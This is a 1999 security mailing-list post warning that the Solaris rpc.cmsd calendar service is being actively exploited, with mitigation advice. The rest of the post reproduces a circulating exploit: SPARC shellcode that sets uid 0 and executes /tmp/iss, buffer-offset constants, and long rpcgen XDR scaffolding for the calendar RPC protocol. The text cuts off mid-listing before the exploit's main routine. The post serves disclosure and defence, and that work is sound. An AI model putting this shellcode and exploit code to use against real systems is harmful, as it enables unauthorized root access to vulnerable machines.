Re: Exploit of rpc.cmsd

From: Aleph One (aleph1at_private)
Date: Tue Jul 13 1999 - 15:24:52 PDT

  • Next message: Casper Dik: "Re: Exploit of rpc.cmsd"

    Several exploits for rpc.cmsd seems to be floating around. This
    vulnerability is being actively exploited. The vulnerability
    is known to exist at least in Solaris 7, possibly in earlier
    versions.
    
    Sun patch 107022-02 does not fix the vulnerability. Sun
    has been informed and they are working on a patch. Should be
    fixed in 107022-03.
    
    If you have this service running turn it off. If you cannot turn
    it off for some reason firewall the machine if possible.
    
    I've gotten my hands on the following exploit:
    
    
    /*
     *
     * cmsd warez
     *
     * executes /tmp/iss
     *
     * gcc -o c c.c -lrpcsvc -lnsl -lsocket
     *
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <rpc/rpc.h>
    #include <netdb.h>
    #include <arpa/inet.h>
    
    char c0de[]=
    "\x90\x08\x3f\xff"  /* and %g0, -1, %o0 - 0 in o0 */
    "\x82\x10\x20\x8d"  /* mov 0x8d, %g1 - 0x8d==141==SYS_seteuid in g1 */
    "\x91\xd0\x20\x08"  /* ta 8 - seteuid(0); */
    "\x90\x08\x3f\xff"  /* and %g0, -1, %o0 - 0 in o0 */
    "\x82\x10\x20\x17"  /* mov 0x17, %g1 - 0x17==23==SYS_setuid in g1 */
    "\x91\xd0\x20\x08"  /* ta 8 - setuid(0); */
    "\x2d\x0b\xdd\x1b"  /* sethi %hi(0x2f746c00), %l6 */
    "\xac\x15\xa1\x70"  /* or %l6, 0x170, %l6 - "/tmp" */
    "\x2f\x0b\xda\x5c"  /* sethi %hi(0x2f697000), %l7 */
    "\xae\x15\xe3\x73"  /* or %l7, 0x373, %l7 - "/iss" */
    "\x90\x0b\x80\x0e"  /* and %sp, %sp, %o0 - addr of "/tmp/iss" in o0 */
    "\x92\x03\xa0\x0c"  /* add %sp, 0xc, %o1 - addr of ptr->"/tmp/iss" o1 */
    "\x94\x1a\x80\x0a"  /* xor %o2, %o2, %o2 - 0 in o2 (envp) */
    "\x9c\x03\xa0\x14"  /* add %sp, 0x14, %sp - (0x14==20) give space */
    "\xec\x3b\xbf\xec"  /* std  %l6, [ %sp + -20 ] - store "/tmp/iss" */
    "\xc0\x23\xbf\xf4"  /* clr [ %sp + -12 ] - null term "/tmp/iss" */
    "\xdc\x23\xbf\xf8"  /* st %sp, [ %sp + -8 ] - make ptr->"/tmp/iss" */
    "\xc0\x23\xbf\xfc"  /* clr [ %sp + -4 ] - null term ptr array (argv) */
    "\x82\x10\x20\x3b"  /* mov 0x3b, %g1 - 0x3b==59==SYS_execve in g1 */
    "\x91\xd0\x20\x08"  /* ta 8 - execve(&"/tmp/iss",&(ptr->"/tmp/iss"),0) */
    "\x90\x1b\xc0\x0f"  /* xor %o7, %o7, %o0 - 0 in o0 */
    "\x82\x10\x20\x01"  /* mov 1, %g1 - 1==SYS_exit in g1 */
    "\x91\xd0\x20\x08"; /* ta 8 - exit(0) */
    
    #define X_OFFSET  5500
    #define RW_OFFSET 800
    #define NOPS      700
    #define ALIGN     (2000+sizeof(unsigned long)*7)
    #define REG_W_SIZ 64
    #define PRE_RET   (REG_W_SIZ-3*sizeof(unsigned long))
    #define OFBUFSIZ  (BUFSIZ+REG_W_SIZ+NOPS+sizeof(c0de)-sizeof(unsigned long))
    
    char cname[] = "root@ISS";
    
    /* ----- rpcgen ----- */
    
    /*
     * Please do not edit this file.
     * It was generated using rpcgen.
     */
    
    #ifndef _RTABLE4_H_RPCGEN
    #define	_RTABLE4_H_RPCGEN
    
    #include <rpc/rpc.h>
    
    typedef char *Buffer;
    
    enum Transaction {
    	add = 0,
    	cm_remove = 1
    };
    typedef enum Transaction Transaction;
    
    enum Interval {
    	single = 0,
    	daily = 1,
    	weekly = 2,
    	biweekly = 3,
    	monthly = 4,
    	yearly = 5,
    	nthWeekday = 6,
    	everyNthDay = 7,
    	everyNthWeek = 8,
    	everyNthMonth = 9,
    	otherPeriod = 10,
    	monThruFri = 11,
    	monWedFri = 12,
    	tueThur = 13,
    	daysOfWeek = 14
    };
    typedef enum Interval Interval;
    
    struct Period {
    	Interval period;
    	int nth;
    	long enddate;
    };
    typedef struct Period Period;
    
    enum Event_Type {
    	appointment = 0,
    	reminder = 1,
    	otherTag = 2,
    	holiday = 3,
    	toDo = 4
    };
    typedef enum Event_Type Event_Type;
    
    enum Options {
    	do_all = 0,
    	do_one = 1,
    	do_forward = 2
    };
    typedef enum Options Options;
    
    struct Tag {
    	Event_Type tag;
    	int showtime;
    	struct Tag *next;
    };
    typedef struct Tag Tag;
    
    enum Privacy_Level {
    	public = 0,
    	private = 1,
    	semiprivate = 2
    };
    typedef enum Privacy_Level Privacy_Level;
    
    struct Attribute {
    	struct Attribute *next;
    	Buffer attr;
    	Buffer value;
    	Buffer clientdata;
    };
    typedef struct Attribute Attribute;
    
    typedef Attribute *Attr;
    
    struct Except {
    	int ordinal;
    	struct Except *next;
    };
    typedef struct Except Except;
    
    typedef Except *Exception;
    
    struct Id {
    	long tick;
    	long key;
    };
    typedef struct Id Id;
    
    struct Uid {
    	struct Id appt_id;
    	struct Uid *next;
    };
    typedef struct Uid Uid;
    
    enum Appt_Status {
    	active = 0,
    	pendingAdd = 1,
    	pendingDelete = 2,
    	committed = 3,
    	cancelled = 4,
    	completed = 5
    };
    typedef enum Appt_Status Appt_Status;
    
    struct Appt {
    	struct Id appt_id;
    	struct Tag *tag;
    	int duration;
    	int ntimes;
    	Buffer what;
    	struct Period period;
    	Buffer author;
    	Buffer client_data;
    	struct Except *exception;
    	struct Attribute *attr;
    	Appt_Status appt_status;
    	Privacy_Level privacy;
    	struct Appt *next;
    };
    typedef struct Appt Appt;
    
    struct Abb_Appt {
    	struct Id appt_id;
    	struct Tag *tag;
    	Buffer what;
    	int duration;
    	struct Period period;
    	struct Abb_Appt *next;
    	Appt_Status appt_status;
    	Privacy_Level privacy;
    };
    typedef struct Abb_Appt Abb_Appt;
    
    struct Apptid {
    	struct Id *oid;
    	struct Appt *new_appt;
    	Options option;
    };
    typedef struct Apptid Apptid;
    
    struct Reminder {
    	struct Id appt_id;
    	long tick;
    	Attribute attr;
    	struct Reminder *next;
    };
    typedef struct Reminder Reminder;
    
    enum Table_Res_Type {
    	AP = 0,
    	RM = 1,
    	AB = 2,
    	ID = 3
    };
    typedef enum Table_Res_Type Table_Res_Type;
    
    struct Table_Res_List {
    	Table_Res_Type tag;
    	union {
    		Appt *a;
    		Reminder *r;
    		Abb_Appt *b;
    		Uid *i;
    	} Table_Res_List_u;
    };
    typedef struct Table_Res_List Table_Res_List;
    
    enum Access_Status {
    	access_ok = 0,
    	access_added = 1,
    	access_removed = 2,
    	access_failed = 3,
    	access_exists = 4,
    	access_partial = 5,
    	access_other = 6,
    	access_notable = 7,
    	access_notsupported = 8,
    	access_incomplete = 9
    };
    typedef enum Access_Status Access_Status;
    
    struct Table_Res {
    	Access_Status status;
    	Table_Res_List res;
    };
    typedef struct Table_Res Table_Res;
    #define access_none   0x0     /* owner only */
    #define access_read   0x1
    #define access_write  0x2
    #define access_delete 0x4
    #define access_exec   0x8     /* execution permission is a hack! */
    #define WORLD "world"	/* special user */
    
    struct Access_Entry {
    	Buffer who;
    	int access_type;
    	struct Access_Entry *next;
    };
    typedef struct Access_Entry Access_Entry;
    
    struct Access_Args {
    	Buffer target;
    	Access_Entry *access_list;
    };
    typedef struct Access_Args Access_Args;
    
    struct Range {
    	long key1;
    	long key2;
    	struct Range *next;
    };
    typedef struct Range Range;
    
    struct Keyrange {
    	long key;
    	long tick1;
    	long tick2;
    	struct Keyrange *next;
    };
    typedef struct Keyrange Keyrange;
    
    struct Uidopt {
    	struct Id appt_id;
    	Options option;
    	struct Uidopt *next;
    };
    typedef struct Uidopt Uidopt;
    
    enum Table_Args_Type {
    	TICK_4 = 0,
    	APPTID = 1,
    	UID = 2,
    	APPT = 3,
    	RANGE = 4,
    	KEYRANGE = 5,
    	UIDOPT = 6
    };
    typedef enum Table_Args_Type Table_Args_Type;
    
    struct Args {
    	Table_Args_Type tag;
    	union {
    		long tick;
    		Apptid apptid;
    		Uid *key;
    		Appt *appt;
    		Range *range;
    		Keyrange *keyrange;
    		Uidopt *uidopt;
    	} Args_u;
    };
    typedef struct Args Args;
    
    struct Table_Args {
    	Buffer target;
    	Args args;
    	int pid;
    };
    typedef struct Table_Args Table_Args;
    
    struct Registration {
    	Buffer target;
    	u_long prognum;
    	u_long versnum;
    	u_long procnum;
    	struct Registration *next;
    	int pid;
    };
    typedef struct Registration Registration;
    
    struct Table_Op_Args {
    	Buffer target;
    	Buffer new_target;
    };
    typedef struct Table_Op_Args Table_Op_Args;
    
    enum Table_Status {
    	ok = 0,
    	duplicate = 1,
    	badtable = 2,
    	notable = 3,
    	denied = 4,
    	other = 5,
    	tbl_not_owner = 6,
    	tbl_exist = 7,
    	tbl_notsupported = 8
    };
    typedef enum Table_Status Table_Status;
    
    enum Registration_Status {
    	registered = 0,
    	failed = 1,
    	deregistered = 2,
    	confused = 3,
    	reg_notable = 4
    };
    typedef enum Registration_Status Registration_Status;
    
    /*
     * rtable_delete and rtable_change take over the functionality of
     * rtable_delete_instance and rtable_change_instance repectively.
     * rtable_delete_instance and rtable_change_instance are now dummy
     * routines exist for backward compatibility purpose and return
     * access_notsupported.
     */
    
    extern Appt* make_appt();
    extern void destroy_appt();
    extern void destroy_list();
    extern Appt *copy_appt();
    extern Appt *copy_semiprivate_appt();
    extern Abb_Appt *make_abbrev_appt();
    extern void destroy_abbrev_appt();
    extern Abb_Appt *copy_abbrev_appt();
    extern Abb_Appt *appt_to_abbrev();
    extern Abb_Appt *appt_to_semiprivate_abbrev();
    extern Reminder* make_reminder();
    extern void destroy_reminder();
    extern Reminder* copy_reminder();
    extern Uid* make_keyentry();
    extern void destroy_keyentry();
    extern Uid* copy_keyentry();
    extern Access_Entry* make_access_entry();
    extern Access_Entry* copy_access_list();
    extern void destroy_access_list();
    extern Abb_Appt *copy_single_abbrev_appt();
    extern Attribute *make_attr();
    
    #define	TABLEPROG ((unsigned long)(100068))
    #define	TABLEVERS ((unsigned long)(4))
    #define	rtable_ping ((unsigned long)(0))
    extern  void * rtable_ping_4();
    #define	rtable_lookup ((unsigned long)(1))
    extern  Table_Res * rtable_lookup_4();
    #define	rtable_lookup_next_larger ((unsigned long)(2))
    extern  Table_Res * rtable_lookup_next_larger_4();
    #define	rtable_lookup_next_smaller ((unsigned long)(3))
    extern  Table_Res * rtable_lookup_next_smaller_4();
    #define	rtable_lookup_range ((unsigned long)(4))
    extern  Table_Res * rtable_lookup_range_4();
    #define	rtable_abbreviated_lookup_range ((unsigned long)(5))
    extern  Table_Res * rtable_abbreviated_lookup_range_4();
    #define	rtable_insert ((unsigned long)(6))
    extern  Table_Res * rtable_insert_4();
    #define	rtable_delete ((unsigned long)(7))
    extern  Table_Res * rtable_delete_4();
    #define	rtable_delete_instance ((unsigned long)(8))
    extern  Table_Res * rtable_delete_instance_4();
    #define	rtable_change ((unsigned long)(9))
    extern  Table_Res * rtable_change_4();
    #define	rtable_change_instance ((unsigned long)(10))
    extern  Table_Res * rtable_change_instance_4();
    #define	rtable_lookup_next_reminder ((unsigned long)(11))
    extern  Table_Res * rtable_lookup_next_reminder_4();
    #define	rtable_check ((unsigned long)(12))
    extern  Table_Status * rtable_check_4();
    #define	rtable_flush_table ((unsigned long)(13))
    extern  Table_Status * rtable_flush_table_4();
    #define	rtable_size ((unsigned long)(14))
    extern  int * rtable_size_4();
    #define	register_callback ((unsigned long)(15))
    extern  Registration_Status * register_callback_4();
    #define	deregister_callback ((unsigned long)(16))
    extern  Registration_Status * deregister_callback_4();
    #define	rtable_set_access ((unsigned long)(17))
    extern  Access_Status * rtable_set_access_4();
    #define	rtable_get_access ((unsigned long)(18))
    extern  Access_Args * rtable_get_access_4();
    #define	rtable_abbreviated_lookup_key_range ((unsigned long)(19))
    extern  Table_Res * rtable_abbreviated_lookup_key_range_4();
    #define	rtable_gmtoff ((unsigned long)(20))
    extern  long * rtable_gmtoff_4();
    #define	rtable_create ((unsigned long)(21))
    extern  Table_Status * rtable_create_4();
    #define	rtable_remove ((unsigned long)(22))
    extern  Table_Status * rtable_remove_4();
    #define	rtable_rename ((unsigned long)(23))
    extern  Table_Status * rtable_rename_4();
    extern int tableprog_4_freeresult();
    
    /* the xdr functions */
    extern bool_t xdr_Buffer();
    extern bool_t xdr_Transaction();
    extern bool_t xdr_Interval();
    extern bool_t xdr_Period();
    extern bool_t xdr_Event_Type();
    extern bool_t xdr_Options();
    extern bool_t xdr_Tag();
    extern bool_t xdr_Privacy_Level();
    extern bool_t xdr_Attribute();
    extern bool_t xdr_Attr();
    extern bool_t xdr_Except();
    extern bool_t xdr_Exception();
    extern bool_t xdr_Id();
    extern bool_t xdr_Uid();
    extern bool_t xdr_Appt_Status();
    extern bool_t xdr_Appt();
    extern bool_t xdr_Abb_Appt();
    extern bool_t xdr_Apptid();
    extern bool_t xdr_Reminder();
    extern bool_t xdr_Table_Res_Type();
    extern bool_t xdr_Table_Res_List();
    extern bool_t xdr_Access_Status();
    extern bool_t xdr_Table_Res();
    extern bool_t xdr_Access_Entry();
    extern bool_t xdr_Access_Args();
    extern bool_t xdr_Range();
    extern bool_t xdr_Keyrange();
    extern bool_t xdr_Uidopt();
    extern bool_t xdr_Table_Args_Type();
    extern bool_t xdr_Args();
    extern bool_t xdr_Table_Args();
    extern bool_t xdr_Registration();
    extern bool_t xdr_Table_Op_Args();
    extern bool_t xdr_Table_Status();
    extern bool_t xdr_Registration_Status();
    
    #endif /* !_RTABLE4_H_RPCGEN */
    
    /*
     * Please do not edit this file.
     * It was generated using rpcgen.
     */
    
    bool_t
    xdr_Buffer(xdrs, objp)
    	register XDR *xdrs;
    	Buffer *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_string(xdrs, objp, ~0))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Transaction(xdrs, objp)
    	register XDR *xdrs;
    	Transaction *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_enum(xdrs, (enum_t *)objp))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Interval(xdrs, objp)
    	register XDR *xdrs;
    	Interval *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_enum(xdrs, (enum_t *)objp))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Period(xdrs, objp)
    	register XDR *xdrs;
    	Period *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_Interval(xdrs, &objp->period))
    		return (FALSE);
    	if (!xdr_int(xdrs, &objp->nth))
    		return (FALSE);
    	if (!xdr_long(xdrs, &objp->enddate))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Event_Type(xdrs, objp)
    	register XDR *xdrs;
    	Event_Type *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_enum(xdrs, (enum_t *)objp))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Options(xdrs, objp)
    	register XDR *xdrs;
    	Options *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_enum(xdrs, (enum_t *)objp))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Tag(xdrs, objp)
    	register XDR *xdrs;
    	Tag *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_Event_Type(xdrs, &objp->tag))
    		return (FALSE);
    	if (!xdr_int(xdrs, &objp->showtime))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Tag), (xdrproc_t) xdr_Tag))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Privacy_Level(xdrs, objp)
    	register XDR *xdrs;
    	Privacy_Level *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_enum(xdrs, (enum_t *)objp))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Attribute(xdrs, objp)
    	register XDR *xdrs;
    	Attribute *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
    		return (FALSE);
    	if (!xdr_Buffer(xdrs, &objp->attr))
    		return (FALSE);
    	if (!xdr_Buffer(xdrs, &objp->value))
    		return (FALSE);
    	if (!xdr_Buffer(xdrs, &objp->clientdata))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Attr(xdrs, objp)
    	register XDR *xdrs;
    	Attr *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_pointer(xdrs, (char **)objp, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Except(xdrs, objp)
    	register XDR *xdrs;
    	Except *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_int(xdrs, &objp->ordinal))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Except), (xdrproc_t) xdr_Except))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Exception(xdrs, objp)
    	register XDR *xdrs;
    	Exception *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_pointer(xdrs, (char **)objp, sizeof (Except), (xdrproc_t) xdr_Except))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Id(xdrs, objp)
    	register XDR *xdrs;
    	Id *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_long(xdrs, &objp->tick))
    		return (FALSE);
    	if (!xdr_long(xdrs, &objp->key))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Uid(xdrs, objp)
    	register XDR *xdrs;
    	Uid *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_Id(xdrs, &objp->appt_id))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uid), (xdrproc_t) xdr_Uid))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Appt_Status(xdrs, objp)
    	register XDR *xdrs;
    	Appt_Status *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_enum(xdrs, (enum_t *)objp))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Appt(xdrs, objp)
    	register XDR *xdrs;
    	Appt *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_Id(xdrs, &objp->appt_id))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag))
    		return (FALSE);
    	if (!xdr_int(xdrs, &objp->duration))
    		return (FALSE);
    	if (!xdr_int(xdrs, &objp->ntimes))
    		return (FALSE);
    	if (!xdr_Buffer(xdrs, &objp->what))
    		return (FALSE);
    	if (!xdr_Period(xdrs, &objp->period))
    		return (FALSE);
    	if (!xdr_Buffer(xdrs, &objp->author))
    		return (FALSE);
    	if (!xdr_Buffer(xdrs, &objp->client_data))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->exception, sizeof (Except), (xdrproc_t) xdr_Except))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->attr, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
    		return (FALSE);
    	if (!xdr_Appt_Status(xdrs, &objp->appt_status))
    		return (FALSE);
    	if (!xdr_Privacy_Level(xdrs, &objp->privacy))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Appt), (xdrproc_t) xdr_Appt))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Abb_Appt(xdrs, objp)
    	register XDR *xdrs;
    	Abb_Appt *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_Id(xdrs, &objp->appt_id))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag))
    		return (FALSE);
    	if (!xdr_Buffer(xdrs, &objp->what))
    		return (FALSE);
    	if (!xdr_int(xdrs, &objp->duration))
    		return (FALSE);
    	if (!xdr_Period(xdrs, &objp->period))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
    		return (FALSE);
    	if (!xdr_Appt_Status(xdrs, &objp->appt_status))
    		return (FALSE);
    	if (!xdr_Privacy_Level(xdrs, &objp->privacy))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Apptid(xdrs, objp)
    	register XDR *xdrs;
    	Apptid *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_pointer(xdrs, (char **)&objp->oid, sizeof (Id), (xdrproc_t) xdr_Id))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->new_appt, sizeof (Appt), (xdrproc_t) xdr_Appt))
    		return (FALSE);
    	if (!xdr_Options(xdrs, &objp->option))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Reminder(xdrs, objp)
    	register XDR *xdrs;
    	Reminder *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_Id(xdrs, &objp->appt_id))
    		return (FALSE);
    	if (!xdr_long(xdrs, &objp->tick))
    		return (FALSE);
    	if (!xdr_Attribute(xdrs, &objp->attr))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Reminder), (xdrproc_t) xdr_Reminder))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Table_Res_Type(xdrs, objp)
    	register XDR *xdrs;
    	Table_Res_Type *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_enum(xdrs, (enum_t *)objp))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Table_Res_List(xdrs, objp)
    	register XDR *xdrs;
    	Table_Res_List *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_Table_Res_Type(xdrs, &objp->tag))
    		return (FALSE);
    	switch (objp->tag) {
    	case AP:
    		if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.a, sizeof (Appt), (xdrproc_t) xdr_Appt))
    			return (FALSE);
    		break;
    	case RM:
    		if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.r, sizeof (Reminder), (xdrproc_t) xdr_Reminder))
    			return (FALSE);
    		break;
    	case AB:
    		if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.b, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
    			return (FALSE);
    		break;
    	case ID:
    		if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.i, sizeof (Uid), (xdrproc_t) xdr_Uid))
    			return (FALSE);
    		break;
    	}
    	return (TRUE);
    }
    
    bool_t
    xdr_Access_Status(xdrs, objp)
    	register XDR *xdrs;
    	Access_Status *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_enum(xdrs, (enum_t *)objp))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Table_Res(xdrs, objp)
    	register XDR *xdrs;
    	Table_Res *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_Access_Status(xdrs, &objp->status))
    		return (FALSE);
    	if (!xdr_Table_Res_List(xdrs, &objp->res))
    		return (FALSE);
    	return (TRUE);
    }
    #define access_none   0x0     /* owner only */
    #define access_read   0x1
    #define access_write  0x2
    #define access_delete 0x4
    #define access_exec   0x8     /* execution permission is a hack! */
    #define WORLD "world"	/* special user */
    
    bool_t
    xdr_Access_Entry(xdrs, objp)
    	register XDR *xdrs;
    	Access_Entry *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_Buffer(xdrs, &objp->who))
    		return (FALSE);
    	if (!xdr_int(xdrs, &objp->access_type))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Access_Args(xdrs, objp)
    	register XDR *xdrs;
    	Access_Args *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_Buffer(xdrs, &objp->target))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->access_list, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Range(xdrs, objp)
    	register XDR *xdrs;
    	Range *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_long(xdrs, &objp->key1))
    		return (FALSE);
    	if (!xdr_long(xdrs, &objp->key2))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Range), (xdrproc_t) xdr_Range))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Keyrange(xdrs, objp)
    	register XDR *xdrs;
    	Keyrange *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_long(xdrs, &objp->key))
    		return (FALSE);
    	if (!xdr_long(xdrs, &objp->tick1))
    		return (FALSE);
    	if (!xdr_long(xdrs, &objp->tick2))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Uidopt(xdrs, objp)
    	register XDR *xdrs;
    	Uidopt *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_Id(xdrs, &objp->appt_id))
    		return (FALSE);
    	if (!xdr_Options(xdrs, &objp->option))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Table_Args_Type(xdrs, objp)
    	register XDR *xdrs;
    	Table_Args_Type *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_enum(xdrs, (enum_t *)objp))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Args(xdrs, objp)
    	register XDR *xdrs;
    	Args *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_Table_Args_Type(xdrs, &objp->tag))
    		return (FALSE);
    	switch (objp->tag) {
    	case TICK_4:
    		if (!xdr_long(xdrs, &objp->Args_u.tick))
    			return (FALSE);
    		break;
    	case APPTID:
    		if (!xdr_Apptid(xdrs, &objp->Args_u.apptid))
    			return (FALSE);
    		break;
    	case UID:
    		if (!xdr_pointer(xdrs, (char **)&objp->Args_u.key, sizeof (Uid), (xdrproc_t) xdr_Uid))
    			return (FALSE);
    		break;
    	case APPT:
    		if (!xdr_pointer(xdrs, (char **)&objp->Args_u.appt, sizeof (Appt), (xdrproc_t) xdr_Appt))
    			return (FALSE);
    		break;
    	case RANGE:
    		if (!xdr_pointer(xdrs, (char **)&objp->Args_u.range, sizeof (Range), (xdrproc_t) xdr_Range))
    			return (FALSE);
    		break;
    	case KEYRANGE:
    		if (!xdr_pointer(xdrs, (char **)&objp->Args_u.keyrange, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange))
    			return (FALSE);
    		break;
    	case UIDOPT:
    		if (!xdr_pointer(xdrs, (char **)&objp->Args_u.uidopt, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt))
    			return (FALSE);
    		break;
    	default:
    		return (FALSE);
    	}
    	return (TRUE);
    }
    
    bool_t
    xdr_Table_Args(xdrs, objp)
    	register XDR *xdrs;
    	Table_Args *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_Buffer(xdrs, &objp->target))
    		return (FALSE);
    	if (!xdr_Args(xdrs, &objp->args))
    		return (FALSE);
    	if (!xdr_int(xdrs, &objp->pid))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Registration(xdrs, objp)
    	register XDR *xdrs;
    	Registration *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_Buffer(xdrs, &objp->target))
    		return (FALSE);
    	if (!xdr_u_long(xdrs, &objp->prognum))
    		return (FALSE);
    	if (!xdr_u_long(xdrs, &objp->versnum))
    		return (FALSE);
    	if (!xdr_u_long(xdrs, &objp->procnum))
    		return (FALSE);
    	if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Registration), (xdrproc_t) xdr_Registration))
    		return (FALSE);
    	if (!xdr_int(xdrs, &objp->pid))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Table_Op_Args(xdrs, objp)
    	register XDR *xdrs;
    	Table_Op_Args *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_Buffer(xdrs, &objp->target))
    		return (FALSE);
    	if (!xdr_Buffer(xdrs, &objp->new_target))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Table_Status(xdrs, objp)
    	register XDR *xdrs;
    	Table_Status *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_enum(xdrs, (enum_t *)objp))
    		return (FALSE);
    	return (TRUE);
    }
    
    bool_t
    xdr_Registration_Status(xdrs, objp)
    	register XDR *xdrs;
    	Registration_Status *objp;
    {
    
    	register long *buf;
    
    	if (!xdr_enum(xdrs, (enum_t *)objp))
    		return (FALSE);
    	return (TRUE);
    }
    
    /*
     * rtable_delete and rtable_change take over the functionality of
     * rtable_delete_instance and rtable_change_instance repectively.
     * rtable_delete_instance and rtable_change_instance are now dummy
     * routines exist for backward compatibility purpose and return
     * access_notsupported.
     */
    
    extern Appt* make_appt();
    extern void destroy_appt();
    extern void destroy_list();
    extern Appt *copy_appt();
    extern Appt *copy_semiprivate_appt();
    extern Abb_Appt *make_abbrev_appt();
    extern void destroy_abbrev_appt();
    extern Abb_Appt *copy_abbrev_appt();
    extern Abb_Appt *appt_to_abbrev();
    extern Abb_Appt *appt_to_semiprivate_abbrev();
    extern Reminder* make_reminder();
    extern void destroy_reminder();
    extern Reminder* copy_reminder();
    extern Uid* make_keyentry();
    extern void destroy_keyentry();
